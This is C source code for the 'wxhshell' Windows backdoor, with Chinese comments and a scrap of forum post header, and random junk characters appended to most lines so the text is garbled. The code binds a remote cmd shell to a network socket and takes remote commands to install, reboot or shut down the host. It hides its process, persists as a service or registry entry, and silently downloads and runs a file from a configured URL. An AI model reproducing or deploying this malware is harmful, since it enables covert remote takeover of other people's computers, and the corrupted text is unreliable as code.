h'S0XU ;  
    switch(cmd[0]) { T P#Ncqh  
  Io<T'K  
  // 帮助 =LLpJ+  
  case '?': { V/xXW=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~.x#ic  
    break; `scW.Vem  
  } Vf:.C|Z  
  // 安装 1p~ORQ  
  case 'i': { ^@/wXj:  
    if(Install()) k'%yvlv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 873 bg|^hs  
    else OP+*%$wR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %|x9C,0p#  
    break; .BJoY <P*  
    } 3(K.:376  
  // 卸载 8!35 K  
  case 'r': { j)8$hK/e0.  
    if(Uninstall()) ">=Ep+ix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c[2ikI,n[  
    else G HQ~{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QaLaw-lx  
    break; >x%HqP#_V  
    } (7<G1$:z=  
  // 显示 wxhshell 所在路径 b0'}BMJ  
  case 'p': { q 1xSylE  
    char svExeFile[MAX_PATH]; ;iYCeL(  
    strcpy(svExeFile,"\n\r"); .BxQF  
      strcat(svExeFile,ExeFile); 6, j60`f)  
        send(wsh,svExeFile,strlen(svExeFile),0); ~m<K5K6 V  
    break; (t3gNin  
    } DXD+,y\=  
  // 重启 ,? <;zq  
  case 'b': { r{?qvl!q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0;LF>+fJ  
    if(Boot(REBOOT)) XSof{:V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 82 |^o  
    else { J#H,QYnf(L  
    closesocket(wsh); 4_>;|2  
    ExitThread(0); ncadVheKt  
    } 6?5dGYAX<  
    break; 6H2Bf*i  
    } -}4CY\d6'  
  // 关机 H[: lQ\  
  case 'd': { ,#BD/dF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D"$ 97  
    if(Boot(SHUTDOWN)) T]Q4=xsv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tkm@&e=e%  
    else { E3p$^['vx  
    closesocket(wsh); TR*vZzoy  
    ExitThread(0); 0J[B3JO@M  
    } H/`@6, j  
    break; &Oz  
    } 0?t;3 z$n  
  // 获取shell PUD8  
  case 's': { ~pH!.|k-&  
    CmdShell(wsh); sa<\nH$_X  
    closesocket(wsh); ;~r-P$kCY  
    ExitThread(0); 4sSw7`  
    break; _l] 0V g`  
  } D]fgBW-  
  // 退出 *ze/$vz-  
  case 'x': { 8(- 29  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /+B6oE>8  
    CloseIt(wsh); id+EBVHAd  
    break; ~G8l1dD  
    } s+_8U}R  
  // 离开 J*K=tA  
  case 'q': { qYVeFSS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); euV!U}Xr  
    closesocket(wsh); A`~?2LH,~F  
    WSACleanup(); (qR;6l  
    exit(1); \;_tXb}F  
    break; L;g2ZoqIr0  
        } ^-Arfm%dn  
  } #a@jt  
  } W,,3@:  
m4uh<;C~  
  // 提示信息 dm_Pz\ *  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r/':^Ex  
} .P T7  
  } F@ |(  
HD{u#~8{  
  return; EJz!#f~  
} +>eX1WoTy  
T>*G1-J#  
// shell模块句柄 <2 kv/  
int CmdShell(SOCKET sock) U7/ =| Z  
{ SR.xI:}4  
STARTUPINFO si; G3!O@j!7w$  
ZeroMemory(&si,sizeof(si)); Zw4%L?   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pHoxw|'Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FeZWS>N  
PROCESS_INFORMATION ProcessInfo; )#4(4 @R h  
char cmdline[]="cmd"; v5 p`=Z@%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (p' /a.bn  
  return 0;  HC/a  
} ~#so4<A`3  
uF3{FYM{I  
// 自身启动模式 -sf[o"T,j  
int StartFromService(void) Jk`l{N  
{ "g"%7jK  
typedef struct /_expSPHl  
{ v`'Iew }  
  DWORD ExitStatus; h(~of (  
  DWORD PebBaseAddress; 4/\Ynb.L  
  DWORD AffinityMask; }h/7M  
  DWORD BasePriority; &\5bo=5V  
  ULONG UniqueProcessId; fTX|vy<EMI  
  ULONG InheritedFromUniqueProcessId; 5>e<|@2 X  
}   PROCESS_BASIC_INFORMATION; YsiH=x  
dKXzFyW  
PROCNTQSIP NtQueryInformationProcess; J?t(TW6E  
Iq19IbR8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F3q<j$y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fpZHE=}r  
A=ez,87  
  HANDLE             hProcess; # ax% n  
  PROCESS_BASIC_INFORMATION pbi; )eSQce7H  
dci,[TEGu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hWn-[w/l_  
  if(NULL == hInst ) return 0; \%]lsml  
*\iXU//^)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tNqSCjQ~_c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J.g6<n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x6\VIP"9L  
v13\y^t  
  if (!NtQueryInformationProcess) return 0; Mw+ l>92  
2.@IfBF6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z6WNMQ1:  
  if(!hProcess) return 0; #U3q +d+^  
 RZqMpW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xa"I  
C[ KMaB  
  CloseHandle(hProcess); &0ymAf5R  
~EQ# %db  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X$t!g`  
if(hProcess==NULL) return 0; j+lcj&V#  
r>KmrU4Q  
HMODULE hMod;  C !v%6[  
char procName[255]; BGH'&t_5  
unsigned long cbNeeded; KG(l=? N  
d}?KPJ{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PbxQ \.  
- ?  i  
  CloseHandle(hProcess); z~2;u 5S&  
S;#7B?j  
if(strstr(procName,"services")) return 1; // 以服务启动 !-SI &qy  
?caHS2%?ae  
  return 0; // 注册表启动 _x$Eq: i  
} 6I _4{  
Y2ON!Rno  
// 主模块 Y>2#9LA  
int StartWxhshell(LPSTR lpCmdLine) \SgBI/L^  
{ BP&] t1p  
  SOCKET wsl; \7o7~pll  
BOOL val=TRUE; >G[:Q s  
  int port=0; %\'G2  
  struct sockaddr_in door;  l]   
X*Q<REDB  
  if(wscfg.ws_autoins) Install(); u Vv %k5  
G_k_qP^:  
port=atoi(lpCmdLine); z -]ND  
hVZS6gU,x  
if(port<=0) port=wscfg.ws_port; 7a/ BS(kq<  
&u<%%b|  
  WSADATA data; d,'gh4C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4] u\5K-  
jQfnc:'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NSzTl-eS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F,mStw:  
  door.sin_family = AF_INET; < jX5}@`z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *xx)j:Sc2  
  door.sin_port = htons(port); r0\C2g_X  
{8;}y[R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B1Z;  
closesocket(wsl); -" r4  
return 1; GbkDs-  
} Vhn Ir#L+  
{?cF2K#  
  if(listen(wsl,2) == INVALID_SOCKET) { x'Nc}  
closesocket(wsl); RO[X #c  
return 1; {?mb.~(  
} QPFv]^s(  
  Wxhshell(wsl); BryD?/}P)M  
  WSACleanup(); ;c@B+RquR  
!b$~Sm)  
return 0; E;k$ICOXA  
LS-_GslE7\  
} ':=20V  
M,r8 No  
// 以NT服务方式启动 g\49[U}[~F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +QSH*(,  
{ ;jKLB^4nX  
DWORD   status = 0; ?cK67|%W  
  DWORD   specificError = 0xfffffff; i DsY 5l  
DoN]v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3n_t^=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S[l z>I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XHJ/211  
  serviceStatus.dwWin32ExitCode     = 0; $P #KL//  
  serviceStatus.dwServiceSpecificExitCode = 0; SK@lr  
  serviceStatus.dwCheckPoint       = 0; z4]z3U<}3]  
  serviceStatus.dwWaitHint       = 0; I;{Ua *  
+ =U9<8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d]?fL&jr  
  if (hServiceStatusHandle==0) return; xHkxrXqeI  
?'tFTh  
status = GetLastError(); g/i.b&  
  if (status!=NO_ERROR) cA90FqUH  
{ zRR^v&.9K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T-js*  
    serviceStatus.dwCheckPoint       = 0; S} &1_I  
    serviceStatus.dwWaitHint       = 0; 4Le{|B  
    serviceStatus.dwWin32ExitCode     = status; Izfq`zS+\s  
    serviceStatus.dwServiceSpecificExitCode = specificError; h6 :|RGF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^d<@\  
    return; @,]$FBT"5  
  } sv!6z Js  
#)%X0%9.*<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &o`LT|*m  
  serviceStatus.dwCheckPoint       = 0; 9SU/ 86|N  
  serviceStatus.dwWaitHint       = 0; AFsYP/g]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \`*]}48Z  
} 3Z}KRsp3  
~KxK+ 6[ :  
// 处理NT服务事件,比如:启动、停止 F]RZP/D`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :?)q"hE  
{ HoZsDs.XZ  
switch(fdwControl) v\=k[oOu  
{ hXc:y0 0  
case SERVICE_CONTROL_STOP: h,MaF<~  
  serviceStatus.dwWin32ExitCode = 0; ?nM]eUAP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +rDKx(Rk  
  serviceStatus.dwCheckPoint   = 0; 0"mr*hyj  
  serviceStatus.dwWaitHint     = 0; d @b ]/  
  { {@tO9pc`8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U6YQ*%mZ_  
  } fDChq[LAn  
  return; Ye/Y<Ij  
case SERVICE_CONTROL_PAUSE: U@LIw6B!KL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #0Z%4WQ  
  break; ^W0eRT  
case SERVICE_CONTROL_CONTINUE: 85:mh\@-G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )jw!, "_4  
  break; #*"I?B/fd8  
case SERVICE_CONTROL_INTERROGATE: ?+byRoY>&g  
  break; ca'c5*Fs  
}; A-u}&}l<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yk2XfY  
} 0)9n${P7d  
X $SXDb~G  
// 标准应用程序主函数 #\6k_toZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g:&PjKA  
{ ~W_ T3@  
Co:Rg@i(F  
// 获取操作系统版本 io7Zv*&T0  
OsIsNt=GetOsVer(); KN.WTaO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dF+:9iiAm  
iMF-TR  
  // 从命令行安装 )24 1-b V  
  if(strpbrk(lpCmdLine,"iI")) Install(); .R&jRtb/E  
JiX-t\V~  
  // 下载执行文件 \*30E<;C_  
if(wscfg.ws_downexe) { }t1J`+x%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E>YE3-]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2nI^fVR%\  
} }`_x%]EJ  
VW**N}1#C  
if(!OsIsNt) { ohPDknHp  
// 如果时win9x,隐藏进程并且设置为注册表启动 E~`<n]{G-C  
HideProc(); F2',3  
StartWxhshell(lpCmdLine); vgKdhN2kI  
} <1kK@m -E  
else x#'v}(v  
  if(StartFromService()) Y58et9gRO  
  // 以服务方式启动 <a& $D  
  StartServiceCtrlDispatcher(DispatchTable); (6i. >%|_  
else ,BlNj^5f  
  // 普通方式启动 AL[,&_&uV  
  StartWxhshell(lpCmdLine); k}e~xbh-y  
k1HCPj  
return 0; ?Nl@K/  
}
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只看该作者 1 发表于: 2006-10-10
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